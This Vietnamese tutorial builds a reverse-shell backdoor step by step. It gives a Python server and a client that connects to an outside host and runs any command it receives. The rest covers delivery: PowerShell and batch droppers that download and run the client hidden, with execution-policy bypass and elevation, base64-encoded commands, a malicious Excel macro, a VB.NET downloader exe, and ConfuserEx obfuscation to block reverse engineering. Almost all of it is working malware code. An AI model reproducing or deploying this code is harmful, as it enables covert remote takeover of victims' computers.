1. Viết Tcp Connection đơn giản với Python
tcpServer.py | tcpClient |
import socket def connect(): s = socket.socket() s.bind((“0.0.0.0”,12345)) s.listen(1) conn , addr = s.accept() print(‘[+] We got a connection from’, addr) while True: command = input(“Shell> “) if ‘terminate’ in command: conn.send(‘terminate’.encode()) conn.close() break else: try: conn.send(command.encode()) print(conn.recv(4096).decode()) except ValueError as ve: print(ve) connect() | import socket import subprocess def handler(command): cmd = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) return cmd.stdout.read()+’\n’.encode()+cmd.stderr.read() def connect(): s = socket.socket() s.connect((“sample.syvtit.com”,12345)) while True: command = s.recv(4096) if ‘terminate’ in command.decode(): s.close() break else: result=handler(command) s.send(result) connect() |
2. Tùy chỉnh thêm vào powershell
Viết thêm file powershell để khi Client chạy file Powershell sẽ tự động download file tcpClient.py và run file này trên máy Client.
$ProcName = “tcpClient.py”
$WebFile = “http://sample.syvtit.com:8000/$ProcName”
Clear-Host
(New-Object System.Net.WebClient).DownloadFile($WebFile,”$env:APPDATA\$ProcName”) Start-Process -filepath “$env:APPDATA\$ProcName” -WindowStyle Hidden
3. Tùy chỉnh thêm với Batch
Viết thêm file bat để khi Client chạy file bat này sẽ tự động download và chạy file powershell trên.
@Echo Off
set file=tcpClientGcp.ps1
set link=http://sample.syvtit.com:8000/%file%
set locate=%APPDATA%\%file%
powershell -Command “& {(New-Object System.Net.Webclient).DownloadFile(‘%link%’,’%locate%’);}” PowerShell -NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File “”%locate%””‘ -Verb RunAs}”
Hoặc code sau (mình sẽ sử dụng thêm code này để thực hiện tiếp encode và inject vào file excel:
powershell -Command “& {(New-Object System.Net.Webclient).DownloadFile(‘http://sample.syvtit.com:8000/tcpClientGcp.ps1′,’%APPDATA%\tcpClientGcp.ps1’);}” PowerShell -NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File “”%APPDATA%\tcpClientGcp.ps1″”‘ -Verb RunAs}”
Encode (sử dụng ToBase64String để encode trong powershell)
$Command1 = ‘& {(New-Object System.Net.Webclient).DownloadFile(”http://sample.syvtit.com:8000/tcpClientGcp.ps1”,”tcpClientGcp.ps1”);}’
$Command2 = ‘& {Start-Process PowerShell -ArgumentList ”-NoProfile -ExecutionPolicy Bypass -File “”tcpClientGcp.ps1″”” -Verb RunAs}’
$ENCODED2 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command2))
echo $ENCODED1
echo $ENCODED2
File sau Encode
powershell -E JgAgAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAzADUALgAxADkAMwAuADEANwA0AC4AMQA2ADMAOgA4ADAAMAAwAC8AdABjAHAAQwBsAGkAZQBuAHQARwBjAHAALgBwAHMAMQAnACwAJwB0AGMAcABDAGwAaQBlAG4AdABHAGMAcAAuAHAAcwAxACcAKQA7AH0A
PowerShell -NoProfile -ExecutionPolicy Bypass -E JgAgAHsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAIgAiAHQAYwBwAEMAbABpAGUAbgB0AEcAYwBwAC4AcABzADEAIgAiACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAfQA=
4. Tùy chỉnh thêm vào Excel
B1: Tạo mới 1 file excel
B2: Thêm nội dung bất kỳ

B3: Chọn Developer > Visual Basic

B4: Thêm đoạn code sau vào (Sử dụng mẫu code đã được encode như phần Bat)

B5: Lưu file excel thành file .xlsm
5. Tùy chỉnh thêm với Visual Basic
Việc sử dụng Visual Basic ta có thể build thành file exe để thực thi file exe này thực hiện tải và chạy file powershell trên.
B1: Sử dụng Visual Studio 2019 > Chọn new project

B2: Sử dụng code sau
Module Module1
Sub Main()
Dim link As String = “http://sample.syvtit.com:8000/tcpClientGcp.ps1”
Dim locate As String = Environment.GetEnvironmentVariable(“Appdata”) & “Microsoft\tcpClientGcp.ps1”
Dim exec As String
If My.Computer.FileSystem.FileExists(locate) Then
My.Computer.FileSystem.DeleteFile(locate)
End If
My.Computer.Network.DownloadFile(link, locate)
exec = “PowerShell -NoProfile -ExecutionPolicy Bypass -Command ” & Chr(34) & Chr(38) & Chr(123) & “Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File ” & Chr(34) & Chr(34) & locate & Chr(34) & Chr(34) & “‘ -Verb RunAs}” & Chr(34)
Shell(exec, 0)
End Sub End Module
B3: Chọn Build > Build (Ctrl+B)

6. Tùy chỉnh thêm với ConfuserEx
Sử dụng tool này để build lại project Visual Basic trên nhằm che giấu đoạn mã hạn chế việc dịch ngược từ file exe thành đoạn code.
B1: Chạy file ConfuserEx

B2: kéo thả file exe sau khi build ở trên vào

B3: Chọn Settings > Global Setting > chọn “+”

B4: Chọn vào true > chọn Edit

B5: Chọn Done
B6: Chọn Protect! > Protect!
